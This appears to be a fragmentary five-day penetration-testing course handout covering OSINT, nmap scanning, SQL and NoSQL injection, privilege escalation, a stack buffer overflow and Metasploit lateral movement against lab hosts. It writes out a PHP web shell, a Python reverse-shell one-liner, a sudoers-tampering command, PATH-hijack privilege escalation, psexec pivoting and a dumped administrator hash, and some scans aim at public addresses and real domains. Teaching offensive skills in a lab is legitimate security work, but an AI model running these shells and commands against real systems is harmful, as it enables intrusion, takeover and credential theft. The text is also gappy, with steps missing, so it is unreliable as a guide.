Cyberwar Class
Cyberwar Class
################
# Day 1: OSINT #
################
OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the
entire planet but I want you to do some Open Source Intelligence (OSINT) first.
Here is an an OSINT report that I did for a customer of mine a few years ago:
https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc
- Wikipedia Page
- Are they Public or Private?
- Does the target have any subsidiaries?
- Who are the key people
- Robtex
- Show system map
- Are they behind a CDN
- Netcraft
- http://toolbar.netcraft.com/site_report
- Are they using a Loadbalancer like F5 BigIP, or Citrix NetScaler
You must spell you name EXACTLY as you want it spelled on your class certificate.
IMPORTANT NOTE:
Your homework must be submitted via email to both ([email protected]) by Sunday
May 21st at midnight EST.
Email Harvesting
----------------
cd ~/toolz/
rm -rf theharvester-read-only/
cd theHarvester/
python theHarvester.py
cd metagoofil/
Network Topology Enumeration (NOTE: This tool may not work anymore due to changes
at BING)
-----------------------------------------------------------------------------------
-------
cd ~/toolz/
wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
-----------------------------------------------------------------------------------
-------
cd ~/toolz/
rm -rf fierce2/
cd fierce
python3 fierce.py -h
At the prompt, let's type help in order to look at the commands we can use in
Recon-ng.
Note that many of these commands are nearly identical to Metasploit including back,
set, use, search, show, and unset.
When you have found a module that you would like to try the process is fairly
straight forward.
You must take screenshots of the process of you registering at least 5 API keys, as
well as screenshots of you using at least 10 Recon-NG modules against a target
company.
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-
Day1-Recon-NG.docx' (ex: Joseph-McCray-Cyberwar-Day1-Recon-NG.docx).
You must spell you name EXACTLY as you want it spelled on your class certificate.
Reference links:
http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-
part-1-getting-started-0169854/
http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-
modules-rundown/
############################
# Day 2: Advanced Scanning #
############################
Today will be heavily focused on scanning. We're going to scan, then scan again,
and then scan some more. When we are doing scanning - we are going to scan some
more....
########################
# Scanning Methodology #
########################
- Ping Sweep
What's alive?
------------
sudo nmap -sP 157.166.226.*
infosecaddicts
- Port Scan
What's where?
------------
sudo nmap -sS 162.243.126.247
infosecaddicts
- Bannergrab/Version Query
What versions of software are running
-------------------------------------
sudo nmap -sV 162.243.126.247
infosecaddicts
- Vulnerability Research
Lookup the banner versions for public exploits
----------------------------------------------
http://exploit-db.com
http://securityfocus.com/bid
https://packetstormsecurity.com/files/tags/exploit/
NOTE:
Gereon, gave us a nice tip today about using IPTables ConnTrack:
iptables -I INPUT -m state -p icmp --echo-type echo-reply -j ACCEPT --state RELATED
His point was that if you only accept echo-reply by related/state related all of
the bogus answers will be dropped as the TTL decrement will be out of whack.
You can see this point with another tool. I'll get you the syntax later today.
#######################################################
# Day 2: 3rd Party Scanning, and scanning via proxies #
#######################################################
https://www.shodan.io/
net:129.188.8.0/24
tor-resolve room362.com
------------------------------------------------------
cd ~/toolz
git clone https://github.com/sensepost/glypeahead.git
cd glypeahead/
vi config.php
#########################
# Playing with Nmap NSE #
#########################
-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
---------------------------
Let's have you connect to the VPN. I wanted to make sure that I did some of the
stuff on my local virtual machines because I want you to do the hunting for
vulnerable hosts to attack.
If I attack the live targets in the lab then I'll end up giving away a lot of the
little secrets that I want you to discover.
cd ~/toolz
wget --no-check-certificate
https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
wget --no-check-certificate
https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
propecia 10.0.0 22
cat ~/labnet-ip-list.txt
#################################################
# Screenshotting the Web Servers in the Network #
#################################################
cd ~/toolz/
mkdir labscreenshots
cd labscreenshots/
wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-
generic-amd64.tar.xz
tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
cd wkhtmltox/bin/
sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
cd ~/toolz/
git clone git://github.com/SpiderLabs/Nmap-Tools.git
cd Nmap-Tools/NSE/
cd ~/toolz/labscreenshots/
sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL
/home/infosecaddicts/labnet-ip-list.txt
infosecaddicts
vi screenshots.sh
#!/bin/bash
printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\"
width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
sh screenshots.sh
python -m SimpleHTTPServer
##########################
# Nmap NSE tricks to try #
##########################
sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-
backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
infosecaddicts
#####################################
# Writing Your Own Nmap NSE Scripts #
#####################################
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p
22,80,443
OK, now let's have some fun with my buddy Carlos Perez's website which you should
have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last
year.
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
if (title) then
return "Vulnerable"
else
return "Not Vulnerable"
end
end
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
You must take screenshots of you performing all of the scanning tasks that we have
done so far today
You must spell you name EXACTLY as you want it spelled on your class certificate.
##########
# Day 3: #
##########
The goal for today is for the class to attack 10.0.0.14 together and see what they
can learn.
#######################
# Attacking 10.0.0.14 #
#######################
cd ~/toolz
rm -rf nikto/
sudo apt install -y nikto
nikto -h 10.0.0.14
---------------------------------------------
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
</pre>
</BODY></HTML>
---------------------------------------------
######################
# Attacking 10.0.0.5 #
######################
cd ~/toolz
cd /home/infosecaddicts/toolz/sqlmap-dev
You may want to go for a hail mary and decompile the DLL files with something like
JetPack: https://www.jetbrains.com/decompiler/ but don't get your hopes up.
cd /home/infosecaddicts/.sqlmap/output/10.0.0.5
ls
cd ~/toolz/sqlmap-dev/
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx
--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx
--data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-
urlencode --dbs --current-user
################################
# Attacking Big Data Solutions #
################################
Big Data is quite the buzzword in our industry and MongoDB is one of the more
popular Big Data solutions on the market.
There are others like CouchDB, and Cassandra, but for right now let's play with
MongoDB.
One of the huge red flags with MongoDB is that its default configuration it has no
user authentication, and no permissions.
cd ~/toolz
mkdir arsenal
cd arsenal
cd nosqlmap
python nosqlmap.py
1
1 (set options)
10.0.0.8 (set target IP)
2 (Enumerate Databases/Collections/Users)
Other attack options such as clone a database will require you to have a local copy
of MongoDB installed, and the Metasploit attack is for too old of a version ( <
2.2.4 ).
You must take screenshots of you performing all of the scanning tasks that we have
done so far today
You must spell you name EXACTLY as you want it spelled on your class certificate.
##########
# Day 4: #
##########
######################
# Attacking 10.0.0.7 #
######################
From there you'll see that it tells you that the password is a simple one.
cd ~/toolz/
echo dbo >> list.txt
echo sa >> list.txt
echo admin >> list.txt
echo root >> list.txt
echo password >> list.txt
echo pass >> list.txt
echo hello >> list.txt
echo goodbye >> list.txt
echo test >> list.txt
echo admin >> list.txt
echo elite >> list.txt
echo db >> list.txt
echo god >> list.txt
echo 123 >> list.txt
echo letmein >> list.txt
echo omega >> list.txt
cd ~/toolz/sqlmap-dev/
cat /home/infosecaddicts/.sqlmap/output/10.0.0.7/dump/seth/users.csv
cd toolz/
Decoding the base64 value gives us the actual hash. (Note I add a �=� to the string
so that base64 can properly decode it)
Ok - that worked. The password is "omega", but if you want to do it with hashcat we
can do the following steps:
wget http://registrationcenter-
download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
sudo ./opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25/install.sh
hashcat --benchmark
cat /etc/issue
find / -user root -perm -4000 -print 2>/dev/null | grep -v bin | grep -v usr
cd /var/www/backup/
ls -l procwatch
whoami
ln -s /bin/ls ps
export PATH=`pwd`:${PATH}
./procwatch
ln -snf /bin/sh ps
./procwatch
whoami
cat /root/proof.txt
nc -l -v -p 443
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"10.0.0.7",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
dpkg -l chkrootkit
ls -al /etc/sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers
&& chmod 440 /etc/sudoers' > /tmp/update
#####################################
# Quick Stack Based Buffer Overflow #
#####################################
- You can download everything you need for this exercise (except netcat) from the
link below
- Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command
and the number of As it crashed on.
- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with
As (41s).
- Now isolate the crash by restarting your debugger and running script 2-
3000chars.py
4-count-chars-to-EIP.py
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C
(43), o (6F), 9 (39)
- so we search for 8Co9 in the string of nonrepeating chars and count the distance
to it
5-2006char-eip-check.py
- In this script we check to see if our math is correct in our calculation of the
distance to EIP by overwriting EIP with 42424242
6-jmp-esp.py
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
7-first-exploit
- In this script we actually do the stack overflow and launch a bind shell on port
4444
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or
copy it and paste the code into the host.
------------------------------
cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
cd ~/toolz/metasploit
./msfconsole
use exploit/windows/misc/vulnserv
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.0.10
set RPORT 9999
exploit
meterpreter> sysinfo
meterpreter> getuid
meterpreter> ipconfig
--------------------------------------------------------
Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
:::
meterpreter> background
msf>
********************************** Lateral Movement *******************************
-- Option 1:
use exploit/windows/smb/psexec
exploit
meterpreter> background
msf>
**********************************
-- Option 2:
use exploit/windows/smb/psexec
exploit
set THREADS 10
set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the
scan until you find something you want to attack
run
####################################
# Socks Tunneling with Proxychains #
####################################
--- Open a duplicate putty session to your Ubuntu host
Comment out the proxy_dns, change the 9050 (tor port) to the metasploit
socks proxy port (1080) and save it.
socks4 127.0.0.1 1080
use auxiliary/server/socks4a
run
--- Go back to your other putty session with the meterpreter shell
cd ~
You must take screenshots of you performing all of the scanning tasks that we have
done so far today
You must spell you name EXACTLY as you want it spelled on your class certificate.
Let's see how you do with someone else's vulnerable website. Your 1st target is:
http://zero.webappsecurity.com
#########
# Day 5 #
#########
Today you finally get the chance to take a step into the world of penetration
testing.
Day 5 Task 1
We'll start by having your do a job interview for the position of junior
penetration tester. Here are the questions:
https://goo.gl/forms/l2cMNg1F50kLQsHG2
Day 5 Task 2
Create an OSINT report on the retail company TARGET. You'll all work together on
this and put together as thorough of a report as possible.
You'll each be given access to the Googele Drive where all of the resources to
complete this task are located.
Day 5 Task 3
Use nmap to map the target network (10.0.0.0/24).
Task 3c) Identify the software versions of each application running on each exposed
port on each host in the environment.
Task 3d) Identify the vulnerable services on each host in the target network along
with their exploit-db.com ID number
Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
Day 5 Task 4
Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).
Reference:
http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
Day 5 Task 5
Populate the findings spreadsheet with as much detail as possible